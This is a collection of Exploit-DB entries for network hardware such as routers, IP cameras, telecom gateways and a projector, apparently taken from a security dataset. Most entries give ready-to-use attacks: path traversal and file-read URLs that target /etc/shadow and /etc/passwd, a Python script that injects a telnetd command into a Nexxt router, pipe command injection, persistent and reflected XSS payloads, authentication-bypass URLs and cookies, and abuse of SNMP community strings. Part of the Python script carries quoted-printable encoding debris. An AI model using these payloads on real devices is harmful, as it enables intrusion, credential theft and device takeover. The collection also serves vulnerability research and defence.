deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40737
Description: Netgear WNR500/WNR612v3/JNR1010/JNR2010 ADSL Router - (Authenticated) Remote File Disclosure
Type: remote
Platform: hardware
Date: 2016-11-08
Author: Todor Donev

Exploit:
#!/bin/sh
# 
#  NETGEAR ADSL ROUTER 
#  Authenticated Remote File Disclosure
#
#  Hardware Version:    WNR500 / WNR612v3 / JNR1010 / JNR2010 
#  Firmware Version:    1.0.7.2 / 1.0.0.9 / 1.0.0.32 / 1.0.0.20
# 
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  Thanks to Maya Hristova that support me.  

http://USER:PASSWORD@TARGET:PORT/cgi-bin/webproc?getpage=/etc/shadow&errorpage=html/main.html&var:language=en_us&var:language=en_us&var:page=BAS_bpa

#  #root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
Exploit-DB #19901
Description: Netopia R-series Routers 4.6.2 - Modifying SNMP Tables
Type: remote
Platform: hardware
Date: 2000-05-16
Author: Stephen Friedl

Exploit:
source: https://www.securityfocus.com/bid/1177/info

All R-series platforms with firmware between 4.3.8 and 4.6.2 (inclusive) allow users who already have access to the router to modify SNMP tables which they should not be able to access. The router has a command-line mode that is reached by typing control-N after the user has passed the intial login test. At the "#" prompt one can then do most management of the device. This includes the setting of SNMP community strings in spite of the limitation imposed by the administrator. 

The following devices are confirmed as vulnerable: 

R2020 Dual Analog Router
R3100 ISDN Router
R3100-I ISDL Router
R3100-T IDSL router for Covad
R3232-I IDSL 4-IMUX router
R5100 Serial router
R5200 DDS router
R5220 DDS router w/ V.90 backup
R5300 T1 router
R5320 T1 router w/ V.90 backup
R5331 T1 router w/ ISDN backup
R7100-C SDSL router
R7120 SDSL Router w/int V.90
R7131 SDSL router w/int ISDN
R7171 SDSL 2x IMUX router
R7200-T SDSL router for Covad
R7220 SDSL router w/int.V.90
R7231 SDSL router w/int ISDN
R9100 Ethernet-to-ethernet Router

# set snmp community RO wookie
or
# set snmp community RW wookie

The exploit can only be attempted by those with existing access login to the device.
Exploit-DB #19444
Description: Network Security Wizards Dragon-Fire IDS 1.0 - Command Execution
Type: remote
Platform: hardware
Date: 1999-08-05
Author: Stefan Lauda

Exploit:
source: https://www.securityfocus.com/bid/564/info

The Dragon-Fire IDS remote web interface under version 1.0 has an insecure CGI script which allows for users to remotely execute commands as the user nobody. This could lead to a remote compromise of the system running Dragon-Fire. 

Via the web interface for Dragon-Fire inside the IPONE field type your desired command prefaced with a | an example could be:

|echo 'uname -a'

The output of the command will then be displayed in the right hand window of the IDS WWW interface.
Exploit-DB #9658
Description: Neufbox NB4-R1.5.10-MAIN - Persistent Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-09-14
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Neufbox NB4-R1.5.10-MAIN Persistent XSS
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Kim, Neocoderz, Syltrox66, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
#	[+] Persistent XSS
#
#		- http://[IPLocal]/3_1 => SSID = 1><script>alert(1)</script>
#		  Valid and go here to execute the XSS : http://[IPLocal]/3_0
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-09-14]
Exploit-DB #51195
Description: Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated)
Type: remote
Platform: hardware
Date: 2023-04-01
Author: Yerodin Richards

Exploit:
# Exploit Title: Nexxt Router Firmware 42.103.1.5095 - Remote Code Executio=
n (RCE) (Authenticated)
# Date: 19/10/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.nexxtsolutions.com/
# Version: 42.103.1.5095
# Tested on: ARN02304U8
# CVE : CVE-2022-44149

import requests
import base64

router_host =3D "http://192.168.1.1"
username =3D "admin"
password =3D "admin"


def main():
    send_payload("&telnetd")
    print("connect to router using: `telnet "+router_host.split("//")[1]+ "=
` using known credentials")
    pass

def gen_header(u, p):
    return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")

def get_cookie(header):
    url =3D router_host+"/login"
    params =3D {"arg":header, "_n":1}
    resp=3Drequests.get(url, params=3Dparams)
   =20
def send_payload(payload):
    url =3D router_host+"/goform/sysTools"
    headers =3D {"Authorization": "Basic {}".format(gen_header(username, pa=
ssword))}
    params =3D {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK=
"}
    requests.post(url, headers=3Dheaders, data=3Dparams)


if __name__ =3D=3D '__main__':
    main()
Exploit-DB #25966
Description: Nokia Affix 2.0/2.1/3.x - BTSRV/BTOBEX Remote Command Execution
Type: remote
Platform: hardware
Date: 2005-07-12
Author: Kevin Finisterre

Exploit:
source: https://www.securityfocus.com/bid/14232/info

Nokia Affix btsrv/btobex are reported prone to a remote command execution vulnerability. The issue exists due to a lack of input sanitization that is performed before using attacker-controlled data in a 'system()' call.

Because the affected services run with superuser privileges, this issue may be exploited to fully compromise a target computer that is running the affected software.

ftp> put /etc/hosts `id`
Transfer started...
Transfer complete.
257 bytes sent in 0.9 secs (2855.56 B/s)
ftp> ls
-rwdx 257 uid=0(root) gid=0(root) groups=0(root)
Command complete.
Exploit-DB #22533
Description: Nokia IPSO 3.4.x - Voyager ReadFile.TCL Remote File Reading
Type: remote
Platform: hardware
Date: 2003-04-24
Author: Jonas Eriksson

Exploit:
source: https://www.securityfocus.com/bid/7426/info

It has been reported that Nokia IPSO does not properly handle some types of requests through Voyager. Because of this, an attacker with access to the interface may be able to view potentially sensitive information. 


http://www.example.com/cgi-bin/readfile.tcl?file=/etc/master.passwd
Exploit-DB #22350
Description: Nokia SGSN DX200 - Remote SNMP Information Disclosure
Type: remote
Platform: hardware
Date: 2003-03-13
Author: Ollie Whitehouse

Exploit:
source: https://www.securityfocus.com/bid/7081/info

It has been reported that some models of the SGSN made by Nokia do not properly handle remote requests for information. Vulnerable devices may disclose sensitive information which could enable an attacker may be able to mount further attacks on network resources.

snmpwalk <IP of SGSN> tellmeyoursecrets
Exploit-DB #8316
Description: NOKIA Siemens FlexiISN 3.1 - Multiple Authentication Bypass Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-03-30
Author: TaMBaRuS

Exploit:
NOKIA Siemens FlexiISN GGSN Multiple Authentication bypass Vulnerability: NOKIA Siemens FlexiISN

Remote:  Yes  

Local:  No 

Class: Input Validation Error 

Critical: Moderately critical  

OS : FlexiISN (GGSN) FISN 3.1

URL 1 for bypassing authentication on AAA Configuration: http://[Flexi-ISN IP]/cgi-bin/aaa.tcl?

URL 2 for bypassing authentication on Aggregation Class Configuration : http://[Flexi-ISN IP]/cgi-bin/aggr_config.tcl?

URL 3 for bypassing authentication on GGSN general Configuration : http://[Flexi-ISN IP]/opt/cgi-bin/ggsn/cgi.tcl?page=ggsnconf

URL 4 for bypassing authentication on Network Access & services : http://[Flexi-ISN IP]/opt/cgi-bin/services.tcl?instance=default

Published: March 30, 2009

Discovered by: TaMbaRuS (tambarus@gmail.com)

Site: www.nokiasiemensnetworks.com

Greetz: Mr. Gabriel Waller from NSN for all his support for researching on the vulnerabilities.

Description:

The Flexi ISN, which performs GPRS Gateway Service Node (GGSN) and data charging functionalities, 
is fully integrated with the existing Nokia Siemens Networks charge@once prepaid solution to enable 
flexible charging of data services. The systems integration services ensure seamless consumer experience, 
while managing an increasingly complex combination of new processes and systems.

With the introduction of Flexi ISN, mobile telekom service provider is able to combine all in one box a 
GGSN and an Intelligent Charging Node. The deployed Flexi ISN 3.1 system is able, through deep packet 
inspection, to distinguish the type of traffic such as HTTP browsing, WAP browsing, MMS, streaming, 
content download thus enabling different charging models based on the type of data service used.

# milw0rm.com [2009-03-30]
Exploit-DB #21378
Description: Nortel CVX 1800 Multi-Service Access Switch - Default SNMP Community
Type: remote
Platform: hardware
Date: 2002-04-15
Author: Michael Rawls

Exploit:
source: https://www.securityfocus.com/bid/4507/info

Nortel CVX 1800 Multi-Service Access Switch is a hardware modem bank.

The device contains a default SNMP community string of "public", which may allow enable a remote attacker to gain access to sensitive information such as authentication credentials for local accounts on the device, network infrastructure info, etc. 

The following example was provided:

snmpwalk CVX-IP-ADD-RESS public .1
Exploit-DB #44574
Description: Norton Core Secure WiFi Router - 'BLE' Command Injection (PoC)
Type: remote
Platform: hardware
Date: 2018-05-02
Author: embedi

Exploit:
# PoC command injection in BLE service of Norton Core Secure WiFi Router (CVE-2018-5234)

For more information read
[paper](https://embedi.com/blog/whos-watching-the-watchers-vol-ii-norton-core-secure-wifi-router).

To demonstrate the exploitation, we will use:
- OS GNU/Linux;
- Bluetooth dongle adapter;
- BlueZ utility (for testing Bluetooth connection).

In order to use the script, we will need to set all dependencies in a advance:

```shell
$ pip install -r ./requirements.txt
```

With the help of `BlueZ` utilities, we should ensure Bluetooth is enabled and
functions properly.

1. Restart the router to provide access to the engineering page.
2. Start the PoC on behalf of the root user (required for operating with
   Bluetooth) with the command on executing as an argument:

    ```shell
    $ ./ble_norton_core.py "/etc/init.d/dropbear start"
    ```

    After the script is successfully executed, we get access to the device via
    the SSH connection. We put `root` as a user and `admin` as password:

    ```shell
    $ ssh root@norton.core
    ```

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44574.zip
Exploit-DB #33568
Description: Novatel Wireless MiFi 2352 - Password Information Disclosure
Type: remote
Platform: hardware
Date: 2010-01-17
Author: Alejandro Ramos

Exploit:
source: https://www.securityfocus.com/bid/37962/info

MiFi 2352 is prone to an information-disclosure vulnerability that may expose sensitive information.

Successful exploits will allow authenticated attackers to obtain passwords, which may aid in further attacks.

MiFi 2352 access point firmware 11.47.17 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/config.xml.sav
http://www.example.com/config.xml.save
Exploit-DB #27894
Description: obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - 'eventplayer?get_image_info_abspath' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2006-05-17
Author: Jaime Blasco

Exploit:
source: https://www.securityfocus.com/bid/18022/info
  
The Mobotix IP camera is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the device to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/control/eventplayer?get_image_info_abspath=%3CBODY%20ONLOAD=alert(&#039;www.eazel.es&#039;)%3E
Exploit-DB #27893
Description: obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - 'events.tar?source_ip' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2006-05-17
Author: Jaime Blasco

Exploit:
source: https://www.securityfocus.com/bid/18022/info
 
The Mobotix IP camera is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the device to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/control/events.tar?source_ip=%3CBODY%20ONLOAD=alert(&#039;www.eazel.es&#039;)%3E&download=egal
Exploit-DB #27892
Description: obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - help Script Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2006-05-17
Author: Jaime Blasco

Exploit:
source: https://www.securityfocus.com/bid/18022/info

The Mobotix IP camera is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the device to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/help/help?%3CBODY%20ONLOAD=alert(&#039;www.eazel.es&#039;)%3E
Exploit-DB #20892
Description: Olicom XLT-F XL 80 IM V5.5BL2 - Undocumented Community String
Type: remote
Platform: hardware
Date: 2001-03-25
Author: Jacek Lipkowski

Exploit:
source: https://www.securityfocus.com/bid/2802/info

Olicom routers were previously manufactured and distributed by Olicom, a company now owned by Intel. Olicom routers provide a low-cost routing solution for small businesses.

A problem with Olicom routers could allow unauthorized access to certain configuration variables within the device. The ILMI SNMP Community string allows read and write access to certain configuration parameters such as the organization to which the routers belongs. These parameters do not affect normal operation, but could be used further in a social engineering attack.

This problem makes it possible for a remote user to launch a social engineering attack, potentially gaining unauthorized access to the device. 

snmpwalk router ILMI |more
Exploit-DB #50996
Description: Omnia MPX 1.5.0+r1 - Path Traversal
Type: remote
Platform: hardware
Date: 2022-08-01
Author: Momen Eldawakhly

Exploit:
# Exploit Title: Omnia MPX 1.5.0+r1 - Path Traversal
# Date: 24/7/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.telosalliance.com/
# Software Link: https://support.telosalliance.com/article/934ixoaz3l-mpx-node-release-notes-and-update-instructions
# Version: 1.5.0+r1
# Tested on: MacOS
# PoC:
http://10.10.10.32:19630/logs/downloadMainLog?fname=../../../../../../..//etc/passwd
http://10.10.10.32:19630/logs/downloadMainLog?fname=../../../../../../..//etc/shadow

User Database:
http://10.10.10.32:19630/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json
Exploit-DB #51444
Description: Optoma 1080PSTX Firmware C02 - Authentication Bypass
Type: remote
Platform: hardware
Date: 2023-05-23
Author: Anthony Cole

Exploit:
# Exploit Title: Optoma 1080PSTX Firmware C02 - Authentication Bypass
# Date: 2023/05/09
# Exploit Author: Anthony Cole
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Vendor Homepage: http://optoma.com
# Version: Optoma 1080PSTX Firmware C02
# Tested on: N/A
# CVE : CVE-2023-27823

Details
By default the web interface of the 1080PSTX requires a username and password to access the application control panel.  However, an attacker, on the same network, can bypass it by manually setting the "atop" cookie to the value of "1".

GET /index.asp HTTP/1.1
Host: projector
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: atop=1
Connection: close
Exploit-DB #8096
Description: Optus/Huawei E960 HSDPA Router - Sms Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-02-23
Author: Rizki Wicaksono

Exploit:
XSS Attack using SMS to Optus/Huawei E960 HSDPA Router

Synopsis
--------

Huawei E960 HSDPA Router (firmware version 246.11.04.11.110sp04) is
vulnerable to XSS attack using SMS. One of the feature of this router
is the ability to send and receive SMS through its web interface. The
SMS text is presented unescaped/unfiltered on the inbox view, and an
attacker can craft malicious short messages to gain control over
victims router.

Details
--------
The first 32 characters of every incoming SMS is presented in
unescaped form in the inbox view. The 32 characters limit can be
overcome by using several messages, and inserting javascript comment
to merge the current message with the next one.

Example:

First message ends with /* which will comment the all the HTML code up
to the second message

<script>alert('hello '/*

and the second message will start with */ that will close the comment
and continue the script:

*/+'world');</script>

Note that newest message is presented first, so the order of the SMS
sending must be reversed.

Impact
------
An attacker can
- get victim's PPP password by accessing /js/connection.js
- disconnect victim's internet connection
- send SMS with victim's router
- gain access to victim's WIFI password

Recovery
--------
After an attack is performed, the inbox page can not be used to delete
the received messages (because the delete button is not
available/visible). To remove offending messages from the inbox,
telnet to the router with username 'admin' and password 'admin'.
Huawei E960 uses busybox shell, so standard rm command can be used to
remove the messages (it is located at /tmp/sms/inbox_sms). After
removing the message content, the deleted messages will still be in
the inbox index, but it can now be removed from the inbox page.


Credits
-------
Rizki Wicaksono (http://www.ilmuhacking.com) found this vulnerability.
The Indonesian article at
http://www.ilmuhacking.com/web-security/xss-attack-using-sms-huawei-e960-hsdpa-router/
gives more detail about this vulnerability. This English
translation/summary was done by Yohanes Nugroho.

# milw0rm.com [2009-02-23]
Exploit-DB #21699
Description: Orinoco OEM Residential Gateway - SNMP Community String Remote Configuration
Type: remote
Platform: hardware
Date: 2002-08-09
Author: Foundstone Inc.

Exploit:
source: https://www.securityfocus.com/bid/5436/info

Orinoco is the manufacturer of various wireless network components, including access points and network cards.

It is possible to remotely gain access to the identification string used for configuration of OEM access points manufactured by Orinoco through SNMP. By sending a custom-crafted SNMP query to a vulnerable access point, the access point will return system credentials, including the identification string. This identification string can be used as the administrative community string.

The following probe packet has been made available by Foundstone:

"\x01\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
Exploit-DB #31298
Description: Packeteer PacketShaper and PolicyCenter 8.2.2 - 'FILELIST' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-02-25
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/27982/info

Packeteer PacketShaper and PolicyCenter are prone to a cross-site scripting vulnerability because they fail to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

https://www.example.com/whatever.htm?FILELIST=%3C/script%3E%3Cbody+onLoad=alert(%26quot%3BXSS%26quot%3B)%3E%3Cscript%3E